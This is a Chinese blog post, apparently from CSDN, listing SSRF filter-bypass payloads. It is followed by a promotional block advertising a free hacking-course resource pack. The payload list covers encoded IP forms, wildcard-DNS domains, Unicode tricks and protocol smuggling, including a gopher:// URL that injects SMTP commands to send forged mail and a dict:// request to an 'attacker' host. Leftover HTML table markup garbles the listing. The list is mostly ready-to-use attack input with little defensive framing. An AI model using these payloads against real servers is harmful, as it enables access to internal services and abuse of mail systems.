SSRF绕过方法总结，从零基础到精通，收藏这篇就够了！

1、攻击本地

1 </div> <div> 2 </div></pre></td><td><pre> <div> http://127.0.0.1:80 </div> <div> http://localhost:22 </div></pre></td></tr></tbody></table>

2、利用[::]

1 </div> <div> 2 </div> <div> 3 </div></pre></td><td><pre> <div> 利用[::]绕过localhost </div> <div> http://[::]:80/ &gt;&gt;&gt; http://127.0.0.1 </div> <div> 也有看到利用http://0000::1:80/的，但是我测试未成功 </div></pre></td></tr></tbody></table>

3、利用@

1 </div></pre></td><td><pre> <div> http://example.com@127.0.0.1 </div></pre></td></tr></tbody></table>

4、利用短地址

1 </div></pre></td><td><pre> <div> http://dwz.cn/11SMa &gt;&gt;&gt; http://127.0.0.1 </div></pre></td></tr></tbody></table>

5、利用特殊域名

利用的原理是DNS解析

1 </div></pre></td><td><pre> <div> http://127.0.0.1.xip.io/ </div></pre></td></tr></tbody></table>

1 </div></pre></td><td><pre> <div> http://www.owasp.org.127.0.0.1.xip.io/ </div></pre></td></tr></tbody></table>

6、利用DNS解析

1 </div></pre></td><td><pre> <div> 在域名上设置A记录，指向127.0.1 </div></pre></td></tr></tbody></table>

7、利用上传

1 </div> <div> 2 </div> <div> 3 </div> <div> 4 </div></pre></td><td><pre> <div> 也不一定是上传，我也说不清，自己体会 -.- </div> <div> 修改"type=file"为"type=url" </div> <div> 比如： </div> <div> 上传图片处修改上传，将图片文件修改为URL，即可能触发SSRF </div></pre></td></tr></tbody></table>

8、利用Enclosed alphanumerics

1 </div> <div> 2 </div> <div> 3 </div> <div> 4 </div></pre></td><td><pre> <div> 利用Enclosed alphanumerics </div> <div> ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ &gt;&gt;&gt; example.com </div> <div> List: </div> <div> ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿ </div></pre></td></tr></tbody></table>

9、利用句号

1 </div></pre></td><td><pre> <div> 127。0。0。1 &gt;&gt;&gt; 127.0.0.1 </div></pre></td></tr></tbody></table>

10、利用进制转换

1 </div> <div> 2 </div> <div> 3 </div> <div> 4 </div> <div> 5 </div></pre></td><td><pre> <div> 可以是十六进制，八进制等。 </div> <div> 115.239.210.26 &gt;&gt;&gt; 16373751032 </div> <div> 首先把这四段数字给分别转成16进制，结果：73 ef d2 1a </div> <div> 然后把 73efd21a 这十六进制一起转换成8进制 </div> <div> 记得访问的时候加0表示使用八进制(可以是一个0也可以是多个0 跟XSS中多加几个0来绕过过滤一样)，十六进制加0x </div></pre></td></tr></tbody></table>

1 </div></pre></td><td><pre> <div> http://127.0.0.1 &gt;&gt;&gt; http://0177.0.0.1/ </div></pre></td></tr></tbody></table>

1 </div></pre></td><td><pre> <div> http://127.0.0.1 &gt;&gt;&gt; http://2130706433/ </div></pre></td></tr></tbody></table>

1 </div> <div> 2 </div></pre></td><td><pre> <div> http://192.168.0.1 &gt;&gt;&gt; http://3232235521/ </div> <div> http://192.168.1.1 &gt;&gt;&gt; http://3232235777/ </div></pre></td></tr></tbody></table>

11、利用特殊地址

1 </div></pre></td><td><pre> <div> http://0/ </div></pre></td></tr></tbody></table>

12、利用协议

1 </div> <div> 2 </div> <div> 3 </div> <div> 4 </div> <div> 5 </div> <div> 6 </div> <div> 7 </div> <div> 8 </div> <div> 9 </div> <div> 10 </div> <div> 11 </div></pre></td><td><pre> <div> Dict:// </div> <div> dict://&lt;user-auth&gt;@&lt;host&gt;:&lt;port&gt;/d:&lt;word&gt; </div> <div> ssrf.php?url=dict://attacker:11111/ </div> <div> SFTP:// </div> <div> ssrf.php?url=sftp://example.com:11111/ </div> <div> TFTP:// </div> <div> ssrf.php?url=tftp://example.com:12346/TESTUDPPACKET </div> <div> LDAP:// </div> <div> ssrf.php?url=ldap://localhost:11211/%0astats%0aquit </div> <div> Gopher:// </div> <div> ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a </div></pre></td></tr></tbody></table>

13、使用组合

各种绕过的组合即可

作者：瓦都剋，来源：http://byd.dropsec.xyz/

网络安全学习资源分享:

给大家分享一份全套的网络安全学习资料，给那些想学习 网络安全的小伙伴们一点帮助！

对于从来没有接触过网络安全的同学，我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线，大家跟着这个大的方向学习准没问题。

因篇幅有限，仅展示部分资料，朋友们如果有需要全套《网络安全入门+进阶学习资源包》，需要点击下方链接即可前往获取

读者福利 | 优快云大礼包：《网络安全入门&进阶学习资源包》免费分享 （安全链接，放心点击）

👉1.成长路线图&学习规划👈

要学习一门新的技术，作为新手一定要先学习成长路线图，方向不对，努力白费。

对于从来没有接触过网络安全的同学，我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线，大家跟着这个大的方向学习准没问题。

👉2.网安入门到进阶视频教程👈

很多朋友都不喜欢晦涩的文字，我也为大家准备了视频教程，其中一共有21个章节，每个章节都是当前板块的精华浓缩。（全套教程文末领取哈）

👉3.SRC&黑客文档👈

大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录

SRC技术文籍：

黑客资料由于是敏感资源，这里不能直接展示哦！（全套教程文末领取哈）

👉4.护网行动资料👈

其中关于HW护网行动，也准备了对应的资料，这些内容可相当于比赛的金手指！

👉5.黑客必读书单👈

👉6.网络安全岗面试题合集👈

当你自学到这里，你就要开始思考找工作的事情了，而工作绕不开的就是真题和面试题。

所有资料共282G，朋友们如果有需要全套《网络安全入门+进阶学习资源包》，可以扫描下方二维码或链接免费领取~

读者福利 | 优快云大礼包：《网络安全入门&进阶学习资源包》免费分享 （安全链接，放心点击）